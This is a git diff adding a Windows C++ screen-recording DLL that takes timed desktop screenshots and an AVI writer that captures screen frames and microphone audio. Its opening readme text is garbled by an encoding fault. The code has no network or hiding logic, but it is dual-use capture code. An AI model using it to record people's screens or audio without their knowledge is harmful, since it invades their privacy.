+ 姝 DLL 鍦ㄥ垱寤烘椂涓嶅鍑轰换浣曠鍙枫傚洜姝わ紝鐢熸垚鏃朵笉浼氫骇鐢 .lib 鏂囦欢銆傚鏋滃笇鏈涙椤圭洰鎴愪负鍏朵粬鏌愪釜椤圭洰鐨勯」鐩緷璧栭」锛屽垯闇瑕佹坊鍔犱唬鐮佷互浠 DLL 瀵煎嚭鏌愪簺绗﹀彿锛屼互渚夸骇鐢熶竴涓鍑哄簱锛屾垨鑰咃紝涔熷彲浠ュ湪椤圭洰鈥滃睘鎬ч〉鈥濆璇濇涓殑鈥滈摼鎺ュ櫒鈥濇枃浠跺す涓紝灏嗏滃父瑙勨濆睘鎬ч〉涓婄殑鈥滃拷鐣ヨ緭鍏ュ簱鈥濆睘鎬ц缃负鈥滄槸鈥濄
+
+/////////////////////////////////////////////////////////////////////////////
+鍏朵粬鏍囧噯鏂囦欢:
+
+StdAfx.h, StdAfx.cpp
+ 杩欎簺鏂囦欢鐢ㄤ簬鐢熸垚鍚嶄负 ScreenRecord.pch 鐨勯缂栬瘧澶 (PCH) 鏂囦欢鍜屽悕涓 StdAfx.obj 鐨勯缂栬瘧绫诲瀷鏂囦欢銆
+
+/////////////////////////////////////////////////////////////////////////////
+鍏朵粬娉ㄩ噴:
+
+搴旂敤绋嬪簭鍚戝浣跨敤鈥淭ODO:鈥濇敞閲婃潵鎸囩ず搴旀坊鍔犳垨鑷畾涔夌殑婧愪唬鐮侀儴鍒嗐
+
+/////////////////////////////////////////////////////////////////////////////
diff --git a/ProtectionOfDemon/ScreenRecord/ScreenRecord.cpp b/ProtectionOfDemon/ScreenRecord/ScreenRecord.cpp
new file mode 100644
index 0000000..15ccbc4
--- /dev/null
+++ b/ProtectionOfDemon/ScreenRecord/ScreenRecord.cpp
@@ -0,0 +1,113 @@
+// ScreenRecord.cpp : 定义 DLL 应用程序的导出函数。
+//
+
+#include "stdafx.h"
+
+// 头文件
+#include
+#pragma comment(lib, "user32.lib")
+
+
+// 全局变量
+char g_szScreenRecordSaveDirectory[MAX_PATH] = {0};
+char g_szScreenRecordSaveFileExt[MAX_PATH] = { 0 };
+UINT_PTR g_uTimerID = 0;
+BOOL g_bPaintCursor = FALSE;
+
+
+// 函数定义
+void ShowError(char *lpszText)
+{
+ char szErr[MAX_PATH] = { 0 };
+ ::wsprintf(szErr, "%s Error!\nError Code Is:%d\n", lpszText, ::GetLastError());
+ ::MessageBox(NULL, szErr, "ScreenRecord", MB_OK | MB_ICONERROR);
+}
+
+
+BOOL SaveScreenCapture(char *lpszSaveDirectory, char *lpszSaveFileExt, BOOL bPaintCursor)
+{
+ // 获取屏幕截屏
+ HWND hDesktop = ::GetDesktopWindow();
+ HDC hdc = ::GetDC(hDesktop);
+ HDC mdc = ::CreateCompatibleDC(hdc);
+ DWORD dwWidth = ::GetSystemMetrics(SM_CXSCREEN);
+ DWORD dwHeight = ::GetSystemMetrics(SM_CYSCREEN);
+ HBITMAP bmp = ::CreateCompatibleBitmap(hdc, dwWidth, dwHeight);
+ HBITMAP holdbmp = (HBITMAP)::SelectObject(mdc, bmp);
+ ::BitBlt(mdc, 0, 0, dwWidth, dwHeight, hdc, 0, 0, SRCCOPY);
+
+ // 判断是否绘制鼠标
+ if (bPaintCursor)
+ {
+ POINT p; //鼠标位置
+ ::GetCursorPos(&p); //获取当前屏幕的鼠标的位置
+ HICON hIcon = (HICON)::GetCursor(); //获得鼠标图片的句柄
+ ::DrawIcon(mdc, p.x, p.y, hIcon); //绘制鼠标图标
+ }
+
+ ::SelectObject(mdc, holdbmp);
+ // 构造文件保存路径
+ char szFileName[MAX_PATH] = {0};
+ char szCurrentDate[MAX_PATH] = { 0 };
+ char szCurrentTime[MAX_PATH] = {0};
+ SYSTEMTIME stSystmTime = { 0 };
+ ::GetLocalTime(&stSystmTime);
+ ::wsprintf(szCurrentDate, "%s\\%.4d-%.2d-%.2d", lpszSaveDirectory,
+ stSystmTime.wYear, stSystmTime.wMonth, stSystmTime.wDay);
+ ::wsprintf(szCurrentTime, "%.4d%.2d%.2d%.2d%.2d%.2d",
+ stSystmTime.wYear, stSystmTime.wMonth, stSystmTime.wDay,
+ stSystmTime.wHour, stSystmTime.wMinute, stSystmTime.wSecond);
+ ::wsprintf(szFileName, "%s\\%s.%s", szCurrentDate, szCurrentTime, lpszSaveFileExt);
+ // 创建保存目录
+ ::CreateDirectory(lpszSaveDirectory, NULL);
+ ::CreateDirectory(szCurrentDate, NULL);
+ // 保存截屏
+ CImage *pImage = new CImage;
+ pImage->Attach(bmp);
+ pImage->Save(szFileName);
+ // 释放内存
+ delete pImage;
+ pImage = NULL;
+ ::DeleteObject(bmp);
+ ::DeleteDC(mdc);
+ ::ReleaseDC(hDesktop, hdc);
+
+// ::MessageBox(NULL, szFileName, lpszSaveFileExt, MB_OK);
+
+ return TRUE;
+}
+
+
+VOID CALLBACK ScreenRecordTimerProc(
+ HWND hwnd,
+ UINT uMsg,
+ UINT_PTR idEvent,
+ DWORD dwTime)
+{
+ SaveScreenCapture(g_szScreenRecordSaveDirectory, g_szScreenRecordSaveFileExt, g_bPaintCursor);
+}
+
+
+void SetScreenRecordSaveDirectoryAndExt(char *lpszScreenRecordSaveDirectory, char *lpszScreenRecordSaveFileExt)
+{
+ ::lstrcpy(g_szScreenRecordSaveDirectory, lpszScreenRecordSaveDirectory);
+ ::lstrcpy(g_szScreenRecordSaveFileExt, lpszScreenRecordSaveFileExt);
+}
+
+
+void SetScreenRecordTimer(UINT uElapse)
+{
+ ::KillTimer(NULL, g_uTimerID);
+ if (0 != uElapse)
+ {
+ g_uTimerID = ::SetTimer(NULL, 1, uElapse, ScreenRecordTimerProc);
+ }
+}
+
+
+void SetScreenRecordPaintCursor(BOOL bPaintCursor)
+{
+ g_bPaintCursor = bPaintCursor;
+}
+
+
diff --git a/ProtectionOfDemon/ScreenRecord/ScreenRecord.def b/ProtectionOfDemon/ScreenRecord/ScreenRecord.def
new file mode 100644
index 0000000..d3a95aa
--- /dev/null
+++ b/ProtectionOfDemon/ScreenRecord/ScreenRecord.def
@@ -0,0 +1,11 @@
+LIBRARY
+
+EXPORTS
+ ; 此处可以是显式导出
+ SetScreenRecordSaveDirectoryAndExt
+ SetScreenRecordTimer
+ SetScreenRecordPaintCursor
+
+
+
+
diff --git a/ProtectionOfDemon/ScreenRecord/ScreenRecord.vcxproj b/ProtectionOfDemon/ScreenRecord/ScreenRecord.vcxproj
new file mode 100644
index 0000000..8386578
--- /dev/null
+++ b/ProtectionOfDemon/ScreenRecord/ScreenRecord.vcxproj
@@ -0,0 +1,109 @@
+锘
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+
+ {FC3D85CF-2AC5-4DB1-85FD-60A972DC7669}
+ Win32Proj
+ ScreenRecord
+
+
+
+ DynamicLibrary
+ true
+ v120
+ MultiByte
+ Dynamic
+
+
+ DynamicLibrary
+ false
+ v120_xp
+ true
+ MultiByte
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ false
+
+
+
+ Use
+ Level3
+ Disabled
+ WIN32;_DEBUG;_WINDOWS;_USRDLL;SCREENRECORD_EXPORTS;%(PreprocessorDefinitions)
+ true
+
+
+ Windows
+ true
+ ScreenRecord.def
+
+
+
+
+ Level3
+ Use
+ MaxSpeed
+ true
+ true
+ WIN32;NDEBUG;_WINDOWS;_USRDLL;SCREENRECORD_EXPORTS;%(PreprocessorDefinitions)
+ true
+
+
+ Windows
+ true
+ true
+ true
+ ScreenRecord.def
+
+
+
+
+
+
+
+
+
+
+
+ false
+
+
+ false
+
+
+
+
+
+ Create
+ Create
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/ProtectionOfDemon/ScreenRecord/ScreenRecord.vcxproj.filters b/ProtectionOfDemon/ScreenRecord/ScreenRecord.vcxproj.filters
new file mode 100644
index 0000000..e7658fa
--- /dev/null
+++ b/ProtectionOfDemon/ScreenRecord/ScreenRecord.vcxproj.filters
@@ -0,0 +1,44 @@
+锘
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;hm;inl;inc;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+
+
+ 婧愭枃浠
+
+
+
\ No newline at end of file
diff --git a/ProtectionOfDemon/ScreenRecord/dllmain.cpp b/ProtectionOfDemon/ScreenRecord/dllmain.cpp
new file mode 100644
index 0000000..f782a01
--- /dev/null
+++ b/ProtectionOfDemon/ScreenRecord/dllmain.cpp
@@ -0,0 +1,19 @@
+// dllmain.cpp : 定义 DLL 应用程序的入口点。
+#include "stdafx.h"
+
+BOOL APIENTRY DllMain( HMODULE hModule,
+ DWORD ul_reason_for_call,
+ LPVOID lpReserved
+ )
+{
+ switch (ul_reason_for_call)
+ {
+ case DLL_PROCESS_ATTACH:
+ case DLL_THREAD_ATTACH:
+ case DLL_THREAD_DETACH:
+ case DLL_PROCESS_DETACH:
+ break;
+ }
+ return TRUE;
+}
+
diff --git a/ProtectionOfDemon/ScreenRecord/stdafx.cpp b/ProtectionOfDemon/ScreenRecord/stdafx.cpp
new file mode 100644
index 0000000..d09b04e
--- /dev/null
+++ b/ProtectionOfDemon/ScreenRecord/stdafx.cpp
@@ -0,0 +1,8 @@
+// stdafx.cpp : 只包括标准包含文件的源文件
+// ScreenRecord.pch 将作为预编译头
+// stdafx.obj 将包含预编译类型信息
+
+#include "stdafx.h"
+
+// TODO: 在 STDAFX.H 中
+// 引用任何所需的附加头文件,而不是在此文件中引用
diff --git a/ProtectionOfDemon/ScreenRecord/stdafx.h b/ProtectionOfDemon/ScreenRecord/stdafx.h
new file mode 100644
index 0000000..9ea5d30
--- /dev/null
+++ b/ProtectionOfDemon/ScreenRecord/stdafx.h
@@ -0,0 +1,16 @@
+// stdafx.h : 标准系统包含文件的包含文件,
+// 或是经常使用但不常更改的
+// 特定于项目的包含文件
+//
+
+#pragma once
+
+#include "targetver.h"
+
+#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的信息
+// Windows 头文件:
+#include
+
+
+
+// TODO: 在此处引用程序需要的其他头文件
diff --git a/ProtectionOfDemon/ScreenRecord/targetver.h b/ProtectionOfDemon/ScreenRecord/targetver.h
new file mode 100644
index 0000000..aadba2f
--- /dev/null
+++ b/ProtectionOfDemon/ScreenRecord/targetver.h
@@ -0,0 +1,8 @@
+#pragma once
+
+// 包括 SDKDDKVer.h 将定义可用的最高版本的 Windows 平台。
+
+// 如果要为以前的 Windows 平台生成应用程序,请包括 WinSDKVer.h,并将
+// WIN32_WINNT 宏设置为要支持的平台,然后再包括 SDKDDKVer.h。
+
+#include
diff --git a/ProtectionOfDemon/ScreenRecordAvi/AviMaker.cpp b/ProtectionOfDemon/ScreenRecordAvi/AviMaker.cpp
new file mode 100644
index 0000000..17f7051
--- /dev/null
+++ b/ProtectionOfDemon/ScreenRecordAvi/AviMaker.cpp
@@ -0,0 +1,490 @@
+#include "stdafx.h"
+#include "AviMaker.h"
+//#include
+
+
+CAviMaker::CAviMaker()
+{
+ m_hAvi = NULL;
+ m_hWaveIn = NULL;
+ m_bStop = FALSE;
+}
+
+
+CAviMaker::~CAviMaker()
+{
+}
+
+
+void ShowError(char *lpszText)
+{
+ char szErr[MAX_PATH] = {0};
+ ::wsprintf(szErr, "%s Error!\nError Code Is:%d", lpszText, ::GetLastError());
+ ::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
+}
+
+
+// 音频部分
+/*
+void CAviMaker::WaveGetDevInfo()
+{
+ // 获取音频设备数量
+ int iSoundDevCount = ::waveInGetNumDevs();
+ // 遍历音频设备信息
+ MMRESULT mmRet = MMSYSERR_NOERROR;
+ int i = 0;
+ for (i = 0; i < iSoundDevCount; i++)
+ {
+ mmRet = ::waveInGetDevCaps(i, &m_stDevInfo.stWaveInCaps[i], sizeof(WAVEINCAPS)); // 获取音频设备信息
+ if ((MMSYSERR_NOERROR == mmRet) &&
+ (MAXDEVNUM > m_stDevInfo.iLen))
+ {
+ m_stDevInfo.iLen++;
+ }
+ }
+}
+*/
+
+DWORD CALLBACK CAviMaker::WaveCallback(HWAVEIN hWaveIn, UINT uMsg, DWORD dwInstance, DWORD dwParam1, DWORD dwParam2)
+{
+ CAviMaker *lpThis = (CAviMaker *)dwInstance;
+ switch (uMsg)
+ {
+ case WIM_OPEN:
+ {
+ // 设备已打开
+ break;
+ }
+ case WIM_DATA:
+ {
+ // 接收数据
+ lpThis->WaveAddFrame(lpThis->GetAviHandle(), ((LPWAVEHDR)dwParam1)->lpData, ((LPWAVEHDR)dwParam1)->dwBytesRecorded);
+ if (FALSE == lpThis->m_bStop)
+ {
+ ::waveInAddBuffer(hWaveIn, (LPWAVEHDR)dwParam1, sizeof(WAVEHDR));
+ }
+ break;
+ }
+ case WIM_CLOSE:
+ {
+ // 设备已关闭
+ break;
+ }
+ }
+
+ return 0;
+}
+
+
+void CAviMaker::WaveStartRecord(WORD wChannels, DWORD dwSampleRate, WORD wBitsPerSample)
+{
+ // 初始化音频格式
+ HWAVEIN hWaveIn = NULL;
+ WAVEFORMATEX stWaveFormatEx = { 0 };
+ ::RtlZeroMemory(&stWaveFormatEx, sizeof(WAVEFORMATEX));
+ stWaveFormatEx.wFormatTag = WAVE_FORMAT_PCM; //波形声音的格式,单声道双声道使用WAVE_FORMAT_PCM.当包含在WAVEFORMATEXTENSIBLE结构中时,使用WAVE_FORMAT_EXTENSIBLE.
+ stWaveFormatEx.nChannels = wChannels; //声道数量
+ stWaveFormatEx.nSamplesPerSec = dwSampleRate; //采样位数.wFormatTag为WAVE_FORMAT_PCM时,为8或者16
+ stWaveFormatEx.nAvgBytesPerSec = dwSampleRate * wChannels * (wBitsPerSample / 8); // 每秒的采样字节数.通过nSamplesPerSec * nChannels * wBitsPerSample / 8计算
+ stWaveFormatEx.nBlockAlign = wChannels * (wBitsPerSample / 8); // 每次采样的字节数.通过nChannels * wBitsPerSample / 8计算
+ stWaveFormatEx.wBitsPerSample = wBitsPerSample; // 采样位数.wFormatTag为WAVE_FORMAT_PCM时,为8或者16
+ stWaveFormatEx.cbSize = 0; // wFormatTag为WAVE_FORMAT_PCM时,忽略此参数
+ // 复制到m_hAvi的wfx中
+ m_hAvi->wfx = stWaveFormatEx;
+
+ // 获取输入设备数量
+ int iDevNum = ::waveInGetNumDevs();
+ // 打开音频输入设备
+ MMRESULT mmRet = ::waveInOpen(&hWaveIn, WAVE_MAPPER, &stWaveFormatEx, (DWORD)WaveCallback, (DWORD)this, CALLBACK_FUNCTION);
+ if (MMSYSERR_NOERROR != mmRet)
+ {
+ ShowError("waveInOpen");
+ return;
+ }
+ // 配置多层缓冲区
+ for (int i = 0; i < BUFFER_LAYOUT_NUM; i++)
+ {
+ ::RtlZeroMemory(&m_stWaveHdt[i], sizeof(WAVEHDR));
+ m_stWaveHdt[i].lpData = new char[BUFFER_LENGTH];
+ m_stWaveHdt[i].dwBufferLength = BUFFER_LENGTH;
+ m_stWaveHdt[i].dwUser = i;
+ mmRet = ::waveInPrepareHeader(hWaveIn, &m_stWaveHdt[i], sizeof(WAVEHDR));
+ if (MMSYSERR_NOERROR != mmRet)
+ {
+ ShowError("waveInPrepareHeader");
+ return;
+ }
+ // 将缓冲区加入音频设备
+ mmRet = ::waveInAddBuffer(hWaveIn, &m_stWaveHdt[i], sizeof(WAVEHDR));
+ if (MMSYSERR_NOERROR != mmRet)
+ {
+ ShowError("waveInAddBuffer");
+ return;
+ }
+ }
+ // 复制音频输入设备句柄到m_hWaveIn
+ m_hWaveIn = hWaveIn;
+
+ // 开始录音
+ mmRet = ::waveInStart(hWaveIn);
+ if (MMSYSERR_NOERROR != mmRet)
+ {
+ ShowError("waveInStart");
+ return;
+ }
+}
+
+
+void CAviMaker::WaveStopRecord()
+{
+ m_bStop = TRUE;
+ // 停止设备
+ ::waveInStop(m_hWaveIn);
+ // 释放缓冲区
+ for (int i = 0; i < BUFFER_LAYOUT_NUM; i++)
+ {
+ ::waveInUnprepareHeader(m_hWaveIn, &m_stWaveHdt[i], sizeof(WAVEHDR));
+ delete []m_stWaveHdt[i].lpData;
+ m_stWaveHdt[i].lpData = NULL;
+ }
+ // 关闭设备
+ ::waveInClose(m_hWaveIn);
+}
+
+
+HRESULT CAviMaker::WaveAddFrame(HAVI hAvi, PVOID lpWaveData, DWORD dwBytesRecorded)
+{
+ // 判断数据是否有效
+ if (NULL == hAvi)
+ {
+ return AVIERR_BADHANDLE;
+ }
+ if (NULL == lpWaveData)
+ {
+ return AVIERR_BADPARAM;
+ }
+ if (hAvi->iserr)
+ {
+ return AVIERR_ERROR;
+ }
+
+ // 若音频流不存在,则创建
+ if (NULL == hAvi->aStream)
+ {
+ // 设置音频流信息
+ AVISTREAMINFO stStreamInfo = {0};
+ ::RtlZeroMemory(&stStreamInfo, sizeof(stStreamInfo));
+ stStreamInfo.fccType = streamtypeAUDIO;
+ stStreamInfo.fccHandler = NULL;
+ stStreamInfo.dwScale = hAvi->wfx.nChannels;
+ stStreamInfo.dwRate = hAvi->wfx.nSamplesPerSec;
+ stStreamInfo.dwSuggestedBufferSize = BUFFER_LENGTH;
+ stStreamInfo.dwSampleSize = 1;
+ // 创建
+ HRESULT hRet = ::AVIFileCreateStream(hAvi->pfile, &hAvi->aStream, &stStreamInfo);
+ if (AVIERR_OK != hRet)
+ {
+ ShowError("AVIFileCreateStream");
+ return hRet;
+ }
+ // 设置音频流格式
+ hRet = ::AVIStreamSetFormat(hAvi->aStream, 0, &hAvi->wfx, sizeof(WAVEFORMATEX));
+ if (AVIERR_OK != hRet)
+ {
+ ShowError("AVIStreamSetFormat");
+ return hRet;
+ }
+ }
+
+ // 将数据添加到音频流中
+ HRESULT hRet = ::AVIStreamWrite(hAvi->aStream,
+ hAvi->nextWaveFrame,
+ 1,
+ lpWaveData,
+ dwBytesRecorded,
+ AVIIF_KEYFRAME,
+ NULL,
+ NULL);
+ if (AVIERR_OK != hRet)
+ {
+ ShowError("AVIStreamWrite");
+ m_hAvi->iserr = TRUE;
+ return hRet;
+ }
+ hAvi->nextWaveFrame++;
+
+ return S_OK;
+}
+
+
+// 视频部分
+void CAviMaker::Init()
+{
+ m_bStop = FALSE;
+ m_hWaveIn = NULL;
+ // 初始化HAVI结构体
+ m_hAvi = new HAVIStruct;
+ ::RtlZeroMemory(m_hAvi, sizeof(HAVIStruct));
+ // AVI文件初始化
+ ::AVIFileInit();
+}
+
+
+HAVI CAviMaker::GetAviHandle()
+{
+ return m_hAvi;
+}
+
+
+void CAviMaker::SetAviHandle(HAVI hAvi)
+{
+ m_hAvi = hAvi;
+}
+
+
+// lpszFileName avi文件完整路径
+// iFramePeriod 相邻帧时间间隔
+void CAviMaker::AviStart(char *lpszFileName, int iFramePeriod)
+{
+ // 创建AVI
+ IAVIFile *lpAviFile = NULL;
+ HRESULT hRet = ::AVIFileOpen(&lpAviFile, lpszFileName, OF_WRITE | OF_CREATE, NULL);
+ if (AVIERR_OK != hRet)
+ {
+ ShowError("AVIFileOpen");
+ return;
+ }
+ // 初始化HAVI结构体
+ m_hAvi->pfile = lpAviFile;
+ m_hAvi->period = iFramePeriod;
+}
+
+
+void CAviMaker::AviStop()
+{
+ if (NULL == m_hAvi)
+ {
+ return;
+ }
+ // 删除接口引用并关闭AVI
+ if (NULL != m_hAvi->pfile)
+ {
+ ::AVIFileRelease(m_hAvi->pfile);
+ m_hAvi->pfile = NULL;
+ }
+ // 释放音频流
+ if (NULL != m_hAvi->aStream)
+ {
+ ::AVIStreamRelease(m_hAvi->aStream);
+ m_hAvi->aStream = NULL;
+ }
+ if ((m_hAvi->pStreamCompressed == m_hAvi->pStream))
+ {
+ // 释放压缩视频流
+ if (NULL != m_hAvi->pStreamCompressed)
+ {
+ ::AVIStreamRelease(m_hAvi->pStreamCompressed);
+ m_hAvi->pStreamCompressed = NULL;
+ }
+ }
+ else
+ {
+ // 释放压缩视频流
+ if (NULL != m_hAvi->pStreamCompressed)
+ {
+ ::AVIStreamRelease(m_hAvi->pStreamCompressed);
+ m_hAvi->pStreamCompressed = NULL;
+ }
+ // 释放原始视频流
+ if (NULL != m_hAvi->pStream)
+ {
+ ::AVIStreamRelease(m_hAvi->pStream);
+ m_hAvi->pStream = NULL;
+ }
+ }
+ // 退出AVI
+ ::AVIFileExit();
+
+ // 释放内存
+ delete m_hAvi;
+ m_hAvi = NULL;
+}
+
+
+void CAviMaker::GetBits(HDC hDCSource, HBITMAP hBmp, BITMAPINFOHEADER *lpBmpInfoHeader, BYTE **lpData)
+{
+ // 定义位图信息头
+ BITMAP stBmp = { 0 };
+ ::GetObject(hBmp, sizeof(BITMAP), &stBmp);
+ BITMAPINFOHEADER bmpInfoHeader = { 0 };
+ ::RtlZeroMemory(&bmpInfoHeader, sizeof(BITMAPINFOHEADER));
+ bmpInfoHeader.biSize = sizeof(BITMAPINFOHEADER);
+ bmpInfoHeader.biWidth = stBmp.bmWidth;
+ bmpInfoHeader.biHeight = stBmp.bmHeight;
+ bmpInfoHeader.biSizeImage = stBmp.bmWidthBytes * stBmp.bmHeight;
+ bmpInfoHeader.biPlanes = stBmp.bmPlanes;
+ bmpInfoHeader.biBitCount = stBmp.bmBitsPixel;
+ bmpInfoHeader.biCompression = BI_RGB;
+
+ ::RtlCopyMemory(lpBmpInfoHeader, &bmpInfoHeader, sizeof(bmpInfoHeader));
+ // 获取桌面屏幕位图的DIB数据
+ (*lpData) = new BYTE[bmpInfoHeader.biSizeImage];
+ BITMAPINFO bmpInfo = { 0 };
+ bmpInfo.bmiHeader = bmpInfoHeader;
+ int iRet = ::GetDIBits(hDCSource, hBmp, 0, stBmp.bmHeight, (*lpData), &bmpInfo, DIB_RGB_COLORS);
+ if (0 == iRet || NULL == (*lpData))
+ {
+ ShowError("GetDIBits");
+ }
+}
+
+
+void LoadXVID()
+{
+ if (IDYES == ::MessageBox(NULL, "检测到你的计算机上没有安装XVID编码器, 现在是否进行安装?\nXVID可以对视频进行压缩和解码, 使生成的视频文件更加小巧\n(安装完毕后, 请手动重启下程序即可)", "WARNING", MB_YESNO | MB_ICONWARNING))
+ {
+ // 安装
+ char szFileName[MAX_PATH] = {0};
+ ::GetModuleFileName(NULL, szFileName, MAX_PATH);
+ char *p = strrchr(szFileName, '\\');
+ p[0] = '\0';
+ ::lstrcat(szFileName, "\\xvid\\xvid.exe");
+// ::WinExec(szFileName, SW_NORMAL);
+// ::ShellExecute(NULL, "runas", szFileName, 0, 0, SW_SHOWNORMAL);
+ // 构造命令行
+// char szCmd[MAX_PATH] = {0};
+// ::wsprintf(szCmd, "cmd.exe /c call %s", szCmdFileName);
+ // 创建新的进程,以隐藏控制台的方式执行cmd命令行
+ STARTUPINFO si = { 0 };
+ PROCESS_INFORMATION pi;
+ si.cb = sizeof(si);
+ si.dwFlags = STARTF_USESHOWWINDOW;//指定wShowWindow成员有效
+ si.wShowWindow = TRUE;//此成员设为TRUE的话则显示新建进程的主窗口
+ BOOL bRet = CreateProcess(
+ NULL,//不在此指定可执行文件的文件名
+ szFileName,//命令行参数
+ NULL,//默认进程安全性
+ NULL,//默认进程安全性
+ FALSE,//指定当前进程内句柄不可以被子进程继承
+ 0,
+ NULL,//使用本进程的环境变量
+ NULL,//使用本进程的驱动器和目录
+ &si,
+ &pi);
+ if (bRet)
+ {
+ //不使用的句柄最好关掉
+ CloseHandle(pi.hThread);
+ CloseHandle(pi.hProcess);
+ }
+// ::MessageBox(NULL, szFileName, NULL, MB_OK);
+ // 结束程序
+ ::ExitProcess(NULL);
+ }
+}
+
+
+HRESULT CAviMaker::AviAddFrame(HDC hDCSource, HBITMAP hBmp)
+{
+ // 判断参数是否有效
+ if (NULL == m_hAvi)
+ {
+ return AVIERR_BADHANDLE;
+ }
+ if (m_hAvi->iserr)
+ {
+ return AVIERR_ERROR;
+ }
+
+ // 获取位图数据
+ BITMAPINFOHEADER stBmpInfoHeader = {0};
+ BYTE *lpData = NULL;
+ GetBits(hDCSource, hBmp, &stBmpInfoHeader, &lpData);
+ // 若不存在原始视频流,则创建
+ if (NULL == m_hAvi->pStream)
+ {
+ // 设置原始视频流信息
+ AVISTREAMINFO stStreamInfo = {0};
+ ::RtlZeroMemory(&stStreamInfo, sizeof(stStreamInfo));
+ stStreamInfo.fccType = streamtypeVIDEO; // 流类型
+ stStreamInfo.fccHandler = NULL; // 编码器
+ stStreamInfo.dwScale = m_hAvi->period; // 帧距
+ stStreamInfo.dwRate = 1000; // 样本帧数
+ stStreamInfo.dwSuggestedBufferSize = stBmpInfoHeader.biSizeImage; // 缓存大小
+ ::SetRect(&stStreamInfo.rcFrame, 0, 0, stBmpInfoHeader.biWidth, stBmpInfoHeader.biHeight); // 视频尺寸
+ // 创建
+ HRESULT hRet = ::AVIFileCreateStream(m_hAvi->pfile, &m_hAvi->pStream,&stStreamInfo);
+ if (AVIERR_OK != hRet)
+ {
+ // 释放内存
+ delete[] lpData;
+ ShowError("AVIFileCreateStream");
+ m_hAvi->iserr = TRUE;
+ return AVIERR_ERROR;
+ }
+/*
+ // !!!如果不压缩视频流的话!!!
+ // 设置压缩视频流格式
+ hRet = ::AVIStreamSetFormat(m_hAvi->pStream, 0, &stBmpInfoHeader, sizeof(stBmpInfoHeader));
+ if (AVIERR_OK != hRet)
+ {
+ // 释放内存
+ delete[] lpData;
+ ShowError("AVIStreamSetFormat");
+ m_hAvi->iserr = TRUE;
+ return AVIERR_ERROR;
+ }
+*/
+ }
+ // 若不存在压缩视频流,则创建
+ if (NULL == m_hAvi->pStreamCompressed)
+ {
+ // 设置压缩选项
+ AVICOMPRESSOPTIONS stAviCompressOption = {0};
+ ::RtlZeroMemory(&stAviCompressOption, sizeof(stAviCompressOption));
+ stAviCompressOption.fccHandler = mmioFOURCC('x', 'v', 'i', 'd');
+ // 创建
+ HRESULT hRet = ::AVIMakeCompressedStream(&m_hAvi->pStreamCompressed, m_hAvi->pStream, &stAviCompressOption, NULL);
+ if (AVIERR_OK != hRet)
+ {
+ LoadXVID();
+ // 如果不能成功创建压缩视频流,则使用原始视频流
+ m_hAvi->pStreamCompressed = m_hAvi->pStream;
+ }
+ // 设置压缩视频流格式
+ hRet = ::AVIStreamSetFormat(m_hAvi->pStreamCompressed, 0, &stBmpInfoHeader, sizeof(stBmpInfoHeader));
+ if (AVIERR_OK != hRet)
+ {
+ // 释放内存
+ delete[] lpData;
+ ShowError("AVIStreamSetFormat");
+ m_hAvi->iserr = TRUE;
+ return AVIERR_ERROR;
+ }
+ }
+ // 添加帧到视频流中
+
+ HRESULT hRet = ::AVIStreamWrite(m_hAvi->pStreamCompressed,
+ m_hAvi->nextFrame,
+ 1,
+ lpData,
+ stBmpInfoHeader.biSizeImage,
+ AVIIF_KEYFRAME,
+ NULL,
+ NULL);
+ if (AVIERR_OK != hRet)
+ {
+ // 释放内存
+ delete[] lpData;
+ ShowError("AVIStreamWrite");
+ m_hAvi->iserr = TRUE;
+ return AVIERR_ERROR;
+ }
+ m_hAvi->nextFrame++;
+
+ // 释放内存
+ delete[] lpData;
+
+ return S_OK;
+}
+
diff --git a/ProtectionOfDemon/ScreenRecordAvi/AviMaker.h b/ProtectionOfDemon/ScreenRecordAvi/AviMaker.h
new file mode 100644
index 0000000..baba49d
--- /dev/null
+++ b/ProtectionOfDemon/ScreenRecordAvi/AviMaker.h
@@ -0,0 +1,56 @@
+#pragma once
+
+
+#include
+#include
+#pragma comment(lib, "Vfw32.lib")
+#pragma comment(lib, "winmm.lib")
+
+#define BUFFER_LENGTH 10240
+#define BUFFER_LAYOUT_NUM 5
+
+// HAVI句柄实际指向的结构
+typedef struct
+{
+ IAVIFile *pfile; // avi接口
+ WAVEFORMATEX wfx; // 音频流创建时使用
+ int period; // 视频流创建时使用,相邻帧时间间隔
+ IAVIStream *aStream; // 音频流
+ IAVIStream *pStream; // 原始视频流
+ IAVIStream *pStreamCompressed; // 压缩视频流
+ unsigned long nextFrame; // 下一帧
+ unsigned long nextWaveFrame; // 下一帧
+ unsigned long nextSamp; // 下一个样本
+ BOOL iserr; // 是否出现错误,如是退出
+} HAVIStruct, *HAVI;
+
+
+class CAviMaker
+{
+private:
+ HAVI m_hAvi;
+ HWAVEIN m_hWaveIn;
+ WAVEHDR m_stWaveHdt[BUFFER_LAYOUT_NUM];
+ BOOL m_bStop;
+public:
+ // 音频部分
+ static DWORD CALLBACK WaveCallback(HWAVEIN hWaveIn, UINT uMsg, DWORD dwInstance, DWORD dwParam1, DWORD dwParam2);
+ void WaveStartRecord(WORD wChannels, DWORD dwSampleRate, WORD wBitsPerSample);
+ void WaveStopRecord();
+ HRESULT WaveAddFrame(HAVI hAvi, PVOID lpWaveData, DWORD dwBytesRecorded);
+public:
+ void Init();
+ // 视频部分
+ HAVI GetAviHandle();
+ void SetAviHandle(HAVI hAvi);
+
+ void AviStart(char *lpszFileName, int iFramePeriod);
+ void AviStop();
+ void GetBits(HDC hDCSource, HBITMAP hBmp, BITMAPINFOHEADER *lpBmpInfoHeader, BYTE **lpData);
+ HRESULT AviAddFrame(HDC hDCSource, HBITMAP hBmp);
+
+public:
+ CAviMaker();
+ ~CAviMaker();
+};
+
